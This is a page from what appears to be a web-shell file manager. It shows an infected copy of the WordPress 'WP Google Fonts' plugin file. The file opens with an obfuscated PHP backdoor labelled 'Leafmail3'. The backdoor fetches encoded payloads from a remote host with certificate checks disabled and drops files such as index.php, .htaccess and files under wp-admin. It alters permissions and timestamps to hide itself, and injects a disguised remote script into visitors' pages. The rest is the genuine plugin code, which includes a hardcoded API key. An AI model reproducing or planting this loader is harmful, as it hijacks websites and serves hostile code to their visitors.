AlkantarClanX12

Your IP : 3.145.102.18


Current Path : /home/thanudqk/shenpokertour.com/wp-content/plugins/wp-google-fonts/
Upload File :
Current File : /home/thanudqk/shenpokertour.com/wp-content/plugins/wp-google-fonts/google-fonts.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/* 
Plugin Name: WP Google Fonts
Plugin URI: http://adrian3.com/projects/wordpress-plugins/wordpress-google-fonts-plugin/
Version: 3.1.5
Description: The Wordpress Google Fonts Plugin makes it even easier to add and customize Google fonts on your site through Wordpress. 
Author: Noah Kagan
Author URI: https://appsumo.com/tools/wordpress/?utm_source=sumo&utm_medium=wp-widget&utm_campaign=wp-google-fonts
*/

/*  Copyright 2010-2011  Adrian Hanft

* Licensed under the Apache License, Version 2.0 (the "License")
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *  http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
*/

// Pre-2.6 compatibility
if ( ! defined( 'WP_CONTENT_URL' ) )
      define( 'WP_CONTENT_URL', get_option( 'siteurl' ) . '/wp-content' );
if ( ! defined( 'WP_CONTENT_DIR' ) )
      define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
if ( ! defined( 'WP_PLUGIN_URL' ) )
      define( 'WP_PLUGIN_URL', WP_CONTENT_URL. '/plugins' );
if ( ! defined( 'WP_PLUGIN_DIR' ) )
      define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' );

/* TODO 
write javascript to handle no saving when no real changes have been made
*/


if (!class_exists('googlefonts')) {
    class googlefonts {
        //This is where the class variables go, don't forget to use @var to tell what they're for
        /**
        * @var string The options string name for this plugin
        */
        var $optionsName = 'googlefonts_options';
        
        /**
        * @var string $localizationDomain Domain used for localization
        */
        var $localizationDomain = "googlefonts";
        
        /**
        * @var string $pluginurl The path to this plugin
        */ 
        var $thispluginurl = '';
        /**
        * @var string $pluginurlpath The path to this plugin
        */
        var $thispluginpath = '';
            
        /**
        * @var array $options Stores the options for this plugin
        */
        var $options = array();

		var $api_key = '?key=AIzaSyD6kL15KaUQpZLBN42WzXadai8hDgoINUg';
		
		var $api_url = 'https://www.googleapis.com/webfonts/v1/webfonts';
		
		var $gf_data_option_name = "googlefonts_data";
		
		var $gf_fonts_file = 'webfonts.php';
		
		var $gf_notices = array();
		
		var $gf_filename = 'google-fonts.php';
		
		var $gf_usage_elements = array(
					'body' => 'All (body tags)',
					'heading1' => 'Headline 1 (h1 tags)',
					'heading2' => 'Headline 2 (h2 tags)',
					'heading3' => 'Headline 3 (h3 tags)',
					'heading4' => 'Headline 4 (h4 tags)',
					'heading5' => 'Headline 5 (h5 tags)',
					'heading6' => 'Headline 6 (h6 tags)',
					'blockquote' => 'Blockquotes',
					'p' => 'Paragraphs (p tags)',
					'li' => 'Lists (li tags)'
				);
		
		var $gf_usage_elements_map = array(
					'body' => 'body',
					'heading1' => 'h1',
					'heading2' => 'h2',
					'heading3' => 'h3',
					'heading4' => 'h4',
					'heading5' => 'h5',
					'heading6' => 'h6',
					'blockquote' => 'blockquote',
					'p' => 'p',
					'li' => 'li'
				);
				
		// for backwards compatability: main font name => css name
		var $gf_element_names = array(
			'googlefonts_font1' => 'googlefont1',
			'googlefonts_font2' => 'googlefont2',
			'googlefonts_font3' => 'googlefont3',
			'googlefonts_font4' => 'googlefont4',
			'googlefonts_font5' => 'googlefont5',
			'googlefonts_font6' => 'googlefont6'
		);
		
		var $font_styles_translation = array(
			'100' => 'Ultra-Light',
			'200' => 'Light',
			'300' => 'Book',
			'400' => 'Normal',
			'500' => 'Medium',
			'600' => 'Semi-Bold',
			'700' => 'Bold',
			'800' => 'Extra-Bold',
			'900' => 'Ultra-Bold',
			'regular' => 'Normal 400'
		);
		
		var $gf_fonts = array();
		
        //Class Functions
        /**
        * PHP 4 Compatible Constructor
        */
        function googlefonts(){$this->__construct();}
        
        /**
        * PHP 5 Constructor
        */        
        function __construct(){
            //Language Setup
            $locale = get_locale();
            $mo = dirname(__FILE__) . "/languages/" . $this->localizationDomain . "-".$locale.".mo";
            load_textdomain($this->localizationDomain, $mo);

            //"Constants" setup
            $this->thispluginurl = WP_PLUGIN_URL . '/' . dirname(plugin_basename(__FILE__)).'/';
            $this->thispluginpath = WP_PLUGIN_DIR . '/' . dirname(plugin_basename(__FILE__)).'/';
            
            //Initialize the options
            //This is REQUIRED to initialize the options when the plugin is loaded!
            $this->getOptions();
			
			//Load the list of fonts from the Google API or local cache
            $this->gf_fonts = get_option($this->gf_data_option_name);
			
			//Convert the options from pre v3.0 array
			$this->gf_convert_fonts();
			
            //Actions
            add_action( 'admin_init', [ $this, 'gf_admin_init' ] );

            add_action("admin_menu", array(&$this,"admin_menu_link"));
            add_action('admin_enqueue_scripts',array(&$this,'gf_admin_scripts'));
			
			add_action('wp_enqueue_scripts',array(&$this, 'googlefontsstart'));
			add_action("wp_head", array(&$this,"addgooglefontscss")); 

			add_action('wp_ajax_googlefont_action', array($this, 'googlefont_action_callback'));
			add_action( 'admin_notices', array(&$this, 'global_notice') );
			add_option('wp_google_fonts_global_notification', 1);
			register_deactivation_hook( __FILE__, array(&$this, 'gf_plugin_deactivate') );

			add_action( 'wp_ajax_'.'appsumo_email_capture_form_submit', 'appsumo_email_capture_form_submit' );
			add_action( 'wp_ajax_nopriv_'.'appsumo_email_capture_form_submit', 'appsumo_email_capture_form_submit' );
        }


        public function gf_admin_init() {
			$this->gf_handle_external_redirects();
		}

		/***********************************************/
				
		function gf_admin_scripts(){
			wp_enqueue_script('google-font-admin',$this->thispluginurl . 'scripts/gf-scripts.js',array('jquery'));
			wp_enqueue_style('gf-admin-style',$this->thispluginurl . 'styles/gf-style-common.css', array(), '3.1.1');
			if(isset($_GET['page']) && $_GET['page'] == $this->gf_filename){
				
				//wp_enqueue_script('google-font-admin-ajax',$this->thispluginurl . 'scripts/gf-scripts-ajax.js',array('jquery'));
				wp_enqueue_style('gf-admin-style',$this->thispluginurl . 'styles/gf-style.css', array(), '3.1.1');
				//wp_localize_script( 'google-font-admin-ajax', 'ajax_object', array( 'ajax_url' => admin_url( 'admin-ajax.php' ), 'gfvalue' => 1234 ) );
			}
		}

